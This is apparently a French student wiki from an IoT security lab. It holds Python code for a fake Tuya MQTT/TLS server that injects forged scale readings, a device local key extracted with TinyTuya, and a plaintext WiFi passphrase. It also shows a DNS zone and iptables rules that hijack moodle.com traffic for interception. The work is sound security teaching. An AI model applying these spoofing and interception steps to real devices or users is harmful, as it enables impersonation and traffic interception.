def tuya_sign(enc_data: str, ts: int, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    s = f&amp;quot;data={enc_data}&amp;amp;t={ts}&amp;amp;key={local_key.decode()}&amp;quot;&lt;br /&gt;
    return hashlib.md5(s.encode()).hexdigest()&lt;br /&gt;
&lt;br /&gt;
def build_tuya_payload(dps: dict, device_id: str) -&amp;gt; dict:&lt;br /&gt;
    ts = int(time.time())&lt;br /&gt;
    enc = tuya_encrypt({&lt;br /&gt;
        &amp;quot;devId&amp;quot;: device_id,&lt;br /&gt;
        &amp;quot;dps&amp;quot;: dps&lt;br /&gt;
    }, LOCAL_KEY)&lt;br /&gt;
    sign = tuya_sign(enc, ts, LOCAL_KEY)&lt;br /&gt;
    return {&lt;br /&gt;
        &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
        &amp;quot;t&amp;quot;: ts,&lt;br /&gt;
        &amp;quot;data&amp;quot;: enc,&lt;br /&gt;
        &amp;quot;sign&amp;quot;: sign&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
def extract_device_id(topic: str) -&amp;gt; str:&lt;br /&gt;
    return topic.split(&amp;quot;/&amp;quot;)[-1]&lt;br /&gt;
&lt;br /&gt;
# ---------- MQTT UTILS ----------&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
# ---------- SERVER ----------&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS Tuya prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    published_topics = set()&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # -------- HANDLERS --------&lt;br /&gt;
                if pkt_type == 1:  # CONNECT&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)  # CONNACK OK&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 8:  # SUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b&amp;quot;\x01&amp;quot;))  # SUBACK QoS 1&lt;br /&gt;
&lt;br /&gt;
                    # Publication automatique&lt;br /&gt;
                    device_id = extract_device_id(topic)&lt;br /&gt;
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)&lt;br /&gt;
                    json_payload = json.dumps(tuya_payload)&lt;br /&gt;
&lt;br /&gt;
                    topic_bytes = topic.encode()&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
                    print(&amp;quot;POIDS TUYA CHIFFRÉ ENVOYÉ&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 4:  # PUBACK&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; PUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 10:  # UNSUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; UNSUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 12:  # PINGREQ&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je pense que pour faire fonctionner cette méthode, il faut absolument que je trouve la clé qui crypte le message pour que Nedis l'accepte quand il le reçoit&lt;br /&gt;
&lt;br /&gt;
J'ai donc cherché dans cette direction et j'ai découvert deux choses. &lt;br /&gt;
&lt;br /&gt;
Premièrement, TinyTuya, une API Python pour les appareils intelligents Tuya (génial, Nedis utilise Tuya) WiFi utilisant une connexion directe au réseau local (LAN) ou le cloud (API TuyaCloud). TinyTuya permet entre autre de récupérer la fameuse clé.&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai découvert la plateforme IOT de Tuya qui permet, en connectant son application de téléphone sur le site, de jouer avec ses appareils Tuya pour une connexion avec Home Assisant ou encore ... TinyTuya !&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte, j'ai la clé. Je parle plus de TinyTuya dans la prochaine partie car même avec cette clé, ce faux serveur ne marche pas. Je vais donc tenter d'autres pistes.&lt;br /&gt;
&lt;br /&gt;
== TinyTuya ==&lt;br /&gt;
Dans cette partie, nous allons tenter de connecter notre balance à notre faux serveur en utilisant l'utilitaire TinyTuya. Le but est de récupérer le poids de l'utilisateur de la balance lorsqu'il se pèse.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il a fallu connecter l'appli à la platforme IOT de Tuya. L'application &amp;quot;Nedis Smartlife&amp;quot; de Nedis, qui utilise bien la même base que l'application Smartlife de Tuya (oui oui c'est le même nom…) ne veux pas se connecter à la plateforme pour une raison inexplicable (et au vu du nombre de forum qui parle du sujet, je ne suis pas le seul).&lt;br /&gt;
&lt;br /&gt;
J'ai donc du connecter ma balance sur l'appli Smartlife qui a bien voulu se connecter à la plateforme.&lt;br /&gt;
&lt;br /&gt;
Cela me permet de récupérer avec TinyTuya les périphériques&lt;br /&gt;
&lt;br /&gt;
Et je vais maintenant tenter d'expliquer le fonctionnement de TinyTuya étape par étape…&lt;br /&gt;
&lt;br /&gt;
Déjà pourquoi connecter l'application avec la plateforme IOT de Tuya --&amp;gt; Cela permet à l'appli de récupérer les appareils connectés de mon application, elle va générer un ID et une clé.&lt;br /&gt;
&lt;br /&gt;
Et comment faire pour que TinyTuya est accès aux appareils --&amp;gt; grâce à la commande &amp;lt;code&amp;gt;python -m tinytuya wizard&amp;lt;/code&amp;gt; qui va prendre l'ID et la clé pour récupérer les appareils. &lt;br /&gt;
&lt;br /&gt;
Ensuite la commande suivante va permettre à TinyTuya de détecter nos appareils qui sont effectivement connecté à notre réseau :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya devices TinyTuya &lt;br /&gt;
(Tuya device scanner) [1.17.4] Loaded devices.json - 1 devices: Device Listing [     &lt;br /&gt;
{         &lt;br /&gt;
&amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,         &lt;br /&gt;
&amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,         &lt;br /&gt;
&amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,         &lt;br /&gt;
&amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,         &lt;br /&gt;
&amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,         &lt;br /&gt;
&amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,         &lt;br /&gt;
&amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,         &lt;br /&gt;
&amp;quot;biz_type&amp;quot;: 18,         &lt;br /&gt;
&amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,         &lt;br /&gt;
&amp;quot;sub&amp;quot;: false,         &lt;br /&gt;
&amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,         &lt;br /&gt;
&amp;quot;mapping&amp;quot;: {}     } ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et la, magie, on obtient la clé de la balance, on va pouvoir enfin récupérer le poids de notre utilisateur grâce à ce code python qui écoute la balance:&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import tinytuya&lt;br /&gt;
&lt;br /&gt;
DEVICE_ID = '84853100a4e57c162d4c'&lt;br /&gt;
IP_ADDRESS = '172.16.10.105'&lt;br /&gt;
LOCAL_KEY = 'V[z^Gr|qekh]9z_&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
# Connexion à l'appareil&lt;br /&gt;
d = tinytuya.Device(DEVICE_ID, IP_ADDRESS, LOCAL_KEY)&lt;br /&gt;
&lt;br /&gt;
d.set_version(3.3)&lt;br /&gt;
&lt;br /&gt;
# Récupérer le statut&lt;br /&gt;
data = d.status() &lt;br /&gt;
print(&amp;quot;Statut complet :&amp;quot;, data)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Évidemment cela ne fonctionne pas. Et pourquoi ? Et bien si l'on regarde dans le bloc &amp;lt;code&amp;gt;python3 -m tinytuya devices TinyTuya&amp;lt;/code&amp;gt; on observe que le champs mapping est vide. Ce champs est censé afficher toute les données que TinyTuya est censé pouvoir récupérer … et il est vide …&lt;br /&gt;
&lt;br /&gt;
Soit je suis à l'origine de ce problème, soit TinyTuya ne permet de changer nous ampoules connecté en rouge si la balance affiche que notre objectif de poids est dépassé …&lt;br /&gt;
&lt;br /&gt;
Affaire à suivre.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10946</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10946"/>
		<updated>2025-12-18T13:37:25Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Envoi de fausses informations vers l'application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
